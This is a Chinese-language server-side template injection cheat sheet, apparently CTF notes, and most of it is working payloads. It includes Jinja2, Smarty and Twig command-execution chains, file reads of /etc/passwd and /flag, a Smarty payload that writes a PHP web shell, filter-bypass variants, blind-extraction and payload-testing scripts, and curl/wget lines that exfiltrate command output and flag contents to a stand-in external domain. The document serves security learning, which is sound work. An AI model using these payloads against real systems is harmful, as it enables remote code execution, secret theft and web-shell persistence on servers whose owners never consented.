SSTI
1. SSTI 基础概念
1.1 定义
SSTI (Server-Side Template Injection) 是一种注入攻击,当攻击者能够在模板中注入恶意输入时,可以在服务器端执行任意代码。
2. 常见模板引擎
2.1 Python 模板引擎
- Jinja2 (Flask默认)
- Django模板
- Mako
- Tornado模板
2.2 PHP 模板引擎
- Smarty
- Twig
2.3 Java 模板引擎
- Velocity
- FreeMarker
- Thymeleaf
2.4 其他
- Handlebars (Node.js)
- Mustache
- Jade/Pug
3. Jinja2 模板基础
3.1 语法结构
{{ ... }} # 表达式输出
{% ... %} # 语句执行 (条件、循环等)
{# ... #} # 注释
# ... ## # 行语句3.2 基本用法
# 变量声明
{% set name = 'value' %}
# 条件语句
{% if condition %}
content
{% endif %}
# 循环语句
{% for item in items %}
{{ item }}
{% endfor %}3.3 漏洞示例
# 存在漏洞的代码
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name')
template = '<h1>Hello %s!</h1>' % name
return render_template_string(template)4. Python 对象模型与魔术方法
4.1 核心魔术方法
__class__ # 返回对象所属的类
__base__ # 返回类的基类 (单个)
__bases__ # 返回类的基类 (元组)
__mro__ # 方法解析顺序
__subclasses__() # 获取所有子类
__init__ # 初始化方法
__globals__ # 全局变量字典4.2 利用链构造思路
1. 获取基础对象 → ''、()、[]、{}
2. 获取对象的类 → __class__
3. 获取基类object → __base__、__bases__[0]、__mro__[-1]
4. 获取所有子类 → __subclasses__()
5. 寻找可利用的类 → 遍历子类列表
6. 调用危险函数 → 执行命令或读取文件
5. 常用利用类与Payload
5.1 Python3 通用方法
os._wrap_close 类执行命令
# 查找类索引
for i, cls in enumerate(''.__class__.__bases__[0].__subclasses__()):
if 'os._wrap_close' in str(cls):
print(i, cls)
# Payload
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}builtins 方法
warnings.catch_warnings
# 通用payload
{{''.__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
# 循环查找
{% for c in ().__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}subprocess.Popen 类
{{''.__class__.__mro__[2].__subclasses__()[258]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}5.2 Python2 特有方法
file 类读写文件
# 读取文件
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
# 写入文件
{{().__class__.__bases__[0].__subclasses__()[40]('/tmp/test', 'w').write('content')}}warnings.catch_warnings 类
{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}}5.3 Flask 内置对象利用
config 对象
{{config}} # 查看配置
{{config['FLAG']}} # 获取FLAG
{{config.SECRET_KEY}} # 获取密钥request 对象
{{request.__class__}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}url_for 函数
{{url_for.__globals__['current_app'].config}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}get_flashed_messages 函数
{{get_flashed_messages.__globals__['current_app'].config}}5.4 其他内置函数
# lipsum 函数
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
# cycler 函数
{{cycler.__init__.__globals__['os'].popen('whoami').read()}}
# joiner 函数
{{joiner.__init__.__globals__['os'].popen('whoami').read()}}6. WAF绕过技巧
6.1 绕过点号过滤
使用中括号
{{().__class__}}
{{()['__class__']}} // tumple getattr((), "__class__")使用 attr() 函数
{{().__class__}}
{{()|attr('__class__')}}使用 getattr() 函数
{{().__class__}}
{{getattr((),'__class__')}}6.2 绕过引号过滤
request 对象传参
# GET 参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.args.cmd](request.args.file).read()}}
# ?cmd=open&file=/etc/passwd
# POST 参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.cmd](request.values.file).read()}}
# POST: cmd=open&file=/etc/passwd
# Cookie
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.cmd](request.cookies.file).read()}}
# Cookie: cmd=open; file=/etc/passwdchr() 函数构造
# 先找到chr函数
{{().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr}}
# 使用chr构造字符串
{% set chr = ().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr %}
{{().__class__.__base__.__subclasses__()[257].__init__.__globals__.popen(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)).read()}}6.3 绕过下划线过滤
十六进制编码
# _ 编码为 \x5f
{{()["__class__"]}}
{{()["\x5f\x5fclass\x5f\x5f"]}}request 传参
{{().__getattribute__(request.args.class).__base__}}
# ?class=__class__6.4 绕过关键字过滤
字符串拼接
{{()['__cla'+'ss__']}}
{{()['__cla''ss__']}}join() 方法
{{()|attr(["_","_","class","_","_"]|join)}}format() 方法
{{()|attr(request.args.f|format(request.args.a))}}
# ?f=__c%sass__&a=lreplace() 方法
{{().__getattribute__('__claAss__'.replace("A",""))}}base64 解码 (仅Python2)
{{().__getattribute__('X19jbGFzc19f'.decode('base64'))}}6.5 绕过中括号过滤
getitem() 方法
{{()['__class__']}}
{{().__getattribute__('__class__')}}pop() 方法
{{().__class__.__base__.__subclasses__().pop(40)}}6.6 绕过双大括号过滤
使用 {% %} 语法
# DNS外带
{% if ().__class__.__base__.__subclasses__()[40].__init__.__globals__['os'].popen('curl xxx.ceye.io/`whoami`').read()=='test' %}1{% endif %}
# 盲注
{% if ().__class__.__base__.__subclasses__()[40].__init__.__globals__.__builtins__.open('/etc/passwd').read()[0:1] == 'r' %}1{% endif %}print 标记
{%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}6.7 Unicode 绕过
# Unicode编码绕过关键字
{{()|attr("__class__")}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}6.8 魔改字符绕过
# 使用相似Unicode字符
︷︷config︸︸
# 使用全角字符
{{config}}7. 其他模板引擎
7.1 Smarty (PHP)
版本检测
{$smarty.version}常用Payload
# if标签执行
{if phpinfo()}{/if}
{if system('whoami')}{/if}
# 写文件
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}7.2 Twig (PHP)
常用Payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
{{_self.env.getFilter("system")}}7.3 Tornado (Python)
环境变量读取
{{handler.settings}}Django(Python)
[[1*1]]8. 自动化检测工具
8.1 扫描工具
- tplmap - 自动化模板注入检测
8.2 检测Payload
# 基础检测
{{7*7}}
{{7*'7'}}
${{7*7}}
#{7*7}
# 时间延迟检测
{{range(1000000)}}
{% for i in range(1000000) %}{% endfor %}9. SSTI 做题技巧与实战
9.1 快速识别与测试
模板引擎识别技巧
# 通用测试payload
{{7*7}} # 输出49 - Jinja2/Twig
${7*7} # 输出49 - 某些模板引擎
#{7*7} # 输出49 - Ruby ERB
<%= 7*7 %> # 输出49 - ASP.NET/JSP
# 特殊字符测试
{{7*'7'}} # 输出7777777 - Jinja2
${{7*7}} # 可能触发不同解析
[[7*7]] # Django模板语法快速判断Python版本
# Python2/3版本判断
{{''.__class__.__mro__[2].__subclasses__()}}
# Python2: 会有file类
# Python3: 没有file类
# 或者直接测试
{{range(1)}} # Python3正常,Python2可能报错9.2 信息收集技巧
环境信息获取
# 获取Python版本
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['sys'].version}}
# 获取当前路径
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].getcwd()}}
# 查看环境变量
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].environ}}
# 获取所有全局变量
{{url_for.__globals__.keys()}}
{{config.items()}}目录结构探测
# 列出当前目录
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].listdir('.')}}
# 列出根目录
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].listdir('/')}}
# 查找flag文件
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].popen('find / -name "*flag*" 2>/dev/null').read()}}9.3 类索引快速定位技巧
动态查找有用类
# 查找包含os的类
{% for i in range(500) %}
{% try %}
{% if ''.__class__.__mro__[2].__subclasses__()[i].__init__.__globals__.get('os') %}
{{ i }}: {{ ''.__class__.__mro__[2].__subclasses__()[i] }}
{% endif %}
{% endtry %}
{% endfor %}
# 查找包含sys的类
{% for i in range(500) %}
{% try %}
{% if ''.__class__.__mro__[2].__subclasses__()[i].__init__.__globals__.get('sys') %}
{{ i }}: {{ ''.__class__.__mro__[2].__subclasses__()[i] }}
{% endif %}
{% endtry %}
{% endfor %}一句话遍历所有危险类
# 自动查找可用的执行类
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ in ['os','_os','posix','nt'] %}
{{ c.__name__ }}: {{ loop.index0 }}
{% endif %}
{% endfor %}9.4 绕过技巧进阶
多层嵌套绕过
# 当基础方法被ban时
{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("whoami").read()')}}利用错误信息
# 故意触发错误获取信息
{{''.__class__.__mro__[2].__subclasses__()[9999]}}
# 可能泄露可用的类索引范围组合绕过策略
# 同时绕过多种过滤
{{request|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(request.values.e)|attr(request.values.f)|attr(request.values.g)|attr(request.values.d)(request.values.h)|attr(request.values.d)(request.values.i)(request.values.j)}}
# POST参数:
# a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=59&f=__init__&g=__globals__&h=__builtins__&i=eval&j=__import__("os").popen("whoami").read()9.5 特殊场景处理
无回显处理
# DNS外带数据
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].popen('curl http://your-domain.com/`whoami`').read()}}
# HTTP外带
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].popen('wget http://your-domain.com/$(cat /flag|base64)').read()}}
# 写文件再读取
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/result','w').write(''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].popen('whoami').read())}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/result').read()}}长度限制绕过
# 使用短变量名
{%set x=''.__class__.__mro__[2].__subclasses__()[59]%}{{x.__init__.__globals__.os.popen('whoami').read()}}
# 分步执行
{%set a=''.__class__%}{%set b=a.__mro__[2]%}{%set c=b.__subclasses__()%}{{c[59].__init__.__globals__.os.popen('id').read()}}递归限制绕过
# 当递归深度受限时,使用更直接的路径
{{cycler.__init__.__globals__.os.popen('whoami').read()}}
{{joiner.__init__.__globals__.os.popen('whoami').read()}}9.6 常见CTF题型与解法
1. config密钥泄露型
# 步骤1: 获取config
{{config}}
# 步骤2: 获取SECRET_KEY
{{config.SECRET_KEY}}
{{config['flag']}}
# 步骤3: 伪造session
# 使用flask-session-cookie-manager工具2. 文件包含结合型
使用<class ‘_io.TextIOWrapper’>
# 当存在LFI时
{{''.__class__.__mro__[2].__subclasses__()[40]('/proc/self/environ').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}3. 盲注型SSTI
# 布尔盲注脚本示例
import requests
import string
url = "http://target.com/"
flag = ""
charset = string.printable
for i in range(50):
for c in charset:
payload = "{%% if ''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()[%d] == '%s' %%}success{%% endif %%}" % (i, c)
resp = requests.post(url, data={"input": payload})
if "success" in resp.text:
flag += c
print(f"Flag so far: {flag}")
break4. WAF严格过滤型
# 极限绕过示例
{%set x=()|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)()|attr(request.cookies.d)(40)|attr(request.cookies.e)|attr(request.cookies.f)%}{{x.open(request.cookies.g).read()}}
# Cookie设置:
# a=__class__;b=__base__;c=__subclasses__;d=__getitem__;e=__init__;f=__globals__;g=/flag9.7 调试技巧
逐步测试法
# 第一步:测试基础注入
{{7*7}}
# 第二步:测试对象访问
{{''.__class__}}
# 第三步:测试基类访问
{{''.__class__.__mro__[2]}}
# 第四步:测试子类枚举
{{''.__class__.__mro__[2].__subclasses__()}}
# 第五步:测试具体类调用
{{''.__class__.__mro__[2].__subclasses__()[59]}}错误信息利用
# 故意构造错误获取更多信息
{{''.__class__.__mro__[2].__subclasses__()[999999]}}
# 可能显示实际的子类数量
{{nonexistent_var}}
# 可能显示可用的变量名
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.keys()}}
# 查看所有可用的全局变量9.8 自动化脚本模板
类索引扫描脚本
import requests
def find_useful_classes(url):
classes_payload = "{{''.__class__.__mro__[2].__subclasses__()}}"
resp = requests.post(url, data={"input": classes_payload})
# 解析返回的类列表
# 寻找有用的类如 os._wrap_close, subprocess.Popen 等
for i, class_name in enumerate(class_list):
if any(keyword in str(class_name) for keyword in ['os', 'subprocess', 'warnings']):
print(f"Useful class found at index {i}: {class_name}")自动化绕过脚本
import requests
import itertools
def generate_payloads():
# 基础payload模板
templates = [
"{{''.__class__.__mro__[2].__subclasses__()[{index}].__init__.__globals__['os'].popen('{cmd}').read()}}",
"{{''.__class__.__base__.__subclasses__()[{index}].__init__.__globals__['os'].popen('{cmd}').read()}}",
"{{request.__class__.__mro__[1].__subclasses__()[{index}].__init__.__globals__['os'].popen('{cmd}').read()}}"
]
# 绕过方法
bypass_methods = [
(".", [".", "|attr('{}')", "['{}']"]),
("_", ["_", "\\x5f"]),
("'", ["'", "request.args.{}", "request.cookies.{}"])
]
return templates, bypass_methods
def test_ssti(url, payloads):
for payload in payloads:
try:
resp = requests.post(url, data={"input": payload}, timeout=5)
if any(indicator in resp.text for indicator in ['root', 'ubuntu', 'flag']):
print(f"Successful payload: {payload}")
return payload
except:
continue
return None9.10 常见错误与陷阱
陷阱1:类索引变化
# 不同环境下类的索引可能不同
# 解决方案:动态查找而不是硬编码索引
{% for c in ''.__class__.__mro__[2].__subclasses__() %}
{% if 'os._wrap_close' in c.__name__ %}
{{loop.index0}}: {{c}}
{% endif %}
{% endfor %}陷阱2:权限限制
# 某些函数可能被禁用
# 尝试多种执行方法
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].system('whoami')}} # 可能无回显
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].popen('whoami').read()}} # 有回显陷阱3:输出截断
# 输出可能被截断,尝试分段获取
{{''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()[:50]}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()[50:100]}}